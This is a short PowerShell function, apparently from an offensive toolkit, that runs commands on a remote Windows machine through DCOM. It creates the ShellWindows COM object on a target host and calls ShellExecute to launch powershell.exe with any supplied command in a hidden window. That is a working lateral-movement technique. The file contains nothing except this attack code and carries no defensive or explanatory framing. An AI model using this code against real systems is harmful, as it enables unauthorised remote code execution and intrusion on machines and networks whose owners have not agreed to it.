function DCOM-ShellWindows {
    param(
        [String] $instruction,
        [String] $target

    )
    $clsid = "9BA05972-F6A8-11CF-A442-00A0C90A8F39"
    $obj = [System.Activator]::CreateInstance([Type]::GetTypeFromCLSID($clsid, $target))
    $obj.item().Document.Application.ShellExecute("powershell.exe", "-C $instruction", "c:\windows\system32\windowspowershell\v1.0", $null, 0)

}